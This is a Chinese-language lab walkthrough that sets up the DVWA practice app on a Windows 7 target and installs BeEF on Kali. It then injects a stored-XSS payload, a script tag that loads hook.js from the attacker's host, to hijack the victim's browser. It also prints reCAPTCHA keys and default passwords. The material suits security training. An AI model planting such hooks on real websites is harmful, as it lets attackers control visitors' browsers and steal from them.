利用 BeFF 执行 XSS 攻击
- 配置靶机环境
- 1. 登录win7靶机
- 2. 访问==https://www.xp.cn/==,下载phpstudy软件(下载最新版的就可以),phpstudy软件可以用来进行站点搭建。
- 3. 解压后开始安装phpstudy
- 4. 点击启动Apache服务与MySQL服务进行测试
- 5. 在浏览器访问==127.0.0.1==或者==localhost==,出现“站点创建成功”,则phpstudy安装成功
- 6. 访问==https://github.com/ethicalhack3r/DVWA==,下载压缩包
- 7. 将解压后的DVWA文件夹放到phpstudy安装目录下
- 8. 进入DVWA文件夹,将文件config.inc.php.dist复制为一个副本,将副本修改为config.inc.php,双击从记事本里面打开。
- 9. 打开*config.inc.php*文件后,将文件中的*db_user db_password*,分别修改为*root*,*root*
- 10. 保持phpstudy开启状态,在浏览器中输入网址:==http://127.0.0.1/DVWA-master==,进入配置安装界面,点击*Setup/Reset DB*。
- 11. 第一次安装可能在方框内会出现标红,下面依次解决:
- 12.在phpstudy的安装目录中,找到php.ini文件,打开它
- 13.将allow_url_fopen和allow_url_include的值改为On
- 14. 最后重启一下phpstudy中的Apache与mysql服务,再次访问==http://127.0.0.1/DVWA-maste==中的设置,你可以发现都正常了,可能会跳转到登陆页面,那就说明安装成功,输入账号和密码:DVWA的默认账号和默认密码分别是:==admin== 和 ==passwor
- BeEF安装
- 利用BeEF 执行 XSS 攻击案例
配置靶机环境
1. 登录win7靶机
2. 访问https://www.xp.cn/,下载phpstudy软件(下载最新版的就可以),phpstudy软件可以用来进行站点搭建。
64位下载
3. 解压后开始安装phpstudy
4. 点击启动Apache服务与MySQL服务进行测试
5. 在浏览器访问127.0.0.1或者localhost,出现“站点创建成功”,则phpstudy安装成功
6. 访问https://github.com/ethicalhack3r/DVWA,下载压缩包
7. 将解压后的DVWA文件夹放到phpstudy安装目录下
8. 进入DVWA文件夹,将文件config.inc.php.dist复制为一个副本,将副本修改为config.inc.php,双击从记事本里面打开。
9. 打开config.inc.php文件后,将文件中的db_user db_password,分别修改为root,root
10. 保持phpstudy开启状态,在浏览器中输入网址:http://127.0.0.1/DVWA-master,进入配置安装界面,点击Setup/Reset DB。
11. 第一次安装可能在方框内会出现标红,下面依次解决:
(1)打开dvwa下面的config.inc.php文件,在文件里面找到这两串代码
将这两串key输入进去
public:
6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb
private:
6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K
12.在phpstudy的安装目录中,找到php.ini文件,打开它
13.将allow_url_fopen和allow_url_include的值改为On
14. 最后重启一下phpstudy中的Apache与mysql服务,再次访问http://127.0.0.1/DVWA-maste中的设置,你可以发现都正常了,可能会跳转到登陆页面,那就说明安装成功,输入账号和密码:DVWA的默认账号和默认密码分别是:admin 和 ==passwor
BeEF安装
在kali中可使用 apt-get install beef-xss 命令来安装BeEF,
apt-get install beef-xss
利用BeEF 执行 XSS 攻击案例
(1)从BeEF 安装目录中启动它(注意:新的 BeEF 启动前会强制新用户设定密码,可以在终端设立为:123456,或者可以在配置文件 “/usr/share/beef-xss/config.yaml” 或 “/etc/beef-xss/config.yaml” 修改默认账号密码!)
cd /usr/share/beef-xss/
./beef
(2)浏览器打开http://127.0.0.1:3000/ui/panel,使用账户名和密码登录:
(3)将win7靶机中的DWVA难度调为low
(4)在XSS(Stored)下输入脚本命令
Name:ceshi(自己取一个名字)
Message:
<script src="http://192.xxx.xxx.xxx(自己的kaliIP地址):3000/hook.js"></script>
(5)点击Sign Guestbook,kali那边Beef就勾上了靶机所在的浏览器了
(类似BEEF的工具,先生成“钩子”(恶意文件),通过发邮件或者恶意网页的方式,将钩子放入靶机,靶机一旦执行,就会上钩)